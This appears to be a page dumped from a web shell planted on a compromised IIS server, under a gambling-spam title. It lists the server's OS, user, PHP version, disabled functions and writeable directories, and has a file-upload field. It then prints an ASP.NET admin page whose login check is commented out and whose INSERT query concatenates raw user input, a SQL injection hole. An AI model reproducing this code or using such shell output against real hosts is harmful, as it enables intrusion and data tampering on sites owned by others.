918博天堂

Server : Microsoft-IIS/10.0
System : Windows NT EBS-6136 10.0 build 17763 (Windows Server 2016) i586
User : jxgj ( 0)
PHP Version : 7.0.33
Disable Function : passthru,exec,system,shell_exec,proc_open,popen,pcntl_exec,socket_bind,stream_socket_server
Directory :  D:/tmp_aspnet/root/712bd9e6/ca967f19/
Upload File :
Current Directory [ Writeable ] Root Directory [ Writeable ]


Current File : D:/tmp_aspnet/root/712bd9e6/ca967f19/App_Web_l0cr3nog.7.cs
?#pragma checksum "D:\wwwroot\bgsciences\wwwroot\sysmanage\files\left\AuthList.aspx.cs" "{ff1816ec-aa5e-4d10-87f7-6f4963833460}" "506E5376561F0018CBE45212917836FB4C1ED8E5"

#line 1 "D:\wwwroot\bgsciences\wwwroot\sysmanage\files\left\AuthList.aspx.cs"
using System;
using System.Collections;
using System.Configuration;
using System.Data;

using System.Web;
using System.Web.Security;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Web.UI.WebControls.WebParts;


public partial class sysmanage_files_left_AuthList : System.Web.UI.Page
{
    protected void Page_Load(object sender, EventArgs e)
    {
        login.OnLine();

        if (!IsPostBack)
        {
            //if (Session["UserName"] == null)
            //{
            //    Page.Response.Write("<script language='javascript'> top.window.location = '../../login.aspx' </script>");
            //}
            if (Request.Form["Option"] != null && Request.Form["Option"] != "")
            {
                int id = Convert.ToInt32(Request.Form["id"]);

                SQLServerHelper.execNonQuery("delete from S_Authorization where id = " + id + "");
                Response.Write("用户组删除成功");
                Response.End();
            }
            Bind();
            BindCount();
        }
    }
    //绑定步骤
    private void Bind()
    {
        this.InfoList.DataSource = sqltool.getData_PageFromTwoTable(this.AspNetPager1.PageSize, this.AspNetPager1.CurrentPageIndex, " * ", "S_Authorization", "1=1", 0, "");
        this.InfoList.DataBind();
    }
    private void BindCount()
    {
        int count = sqltool.SelectCountByTCW("S_Authorization", "*", "1=1");
        this.AspNetPager1.RecordCount = count;
    }
    //分页事务
    protected void AspNetPager1_PageChanged(object sender, EventArgs e)
    {
        Bind();
    }

    protected void bt_add_Click(object sender, EventArgs e)
    {
        if (this.txt_name.Text.Trim() != null && this.txt_name.Text.Trim() != "")
        {
            SQLServerHelper.execNonQuery("insert into S_Authorization (sname) values ('" + this.txt_name.Text.Trim() + "')");

        }
        Bind();
        BindCount();
    }
}


#line default
#line hidden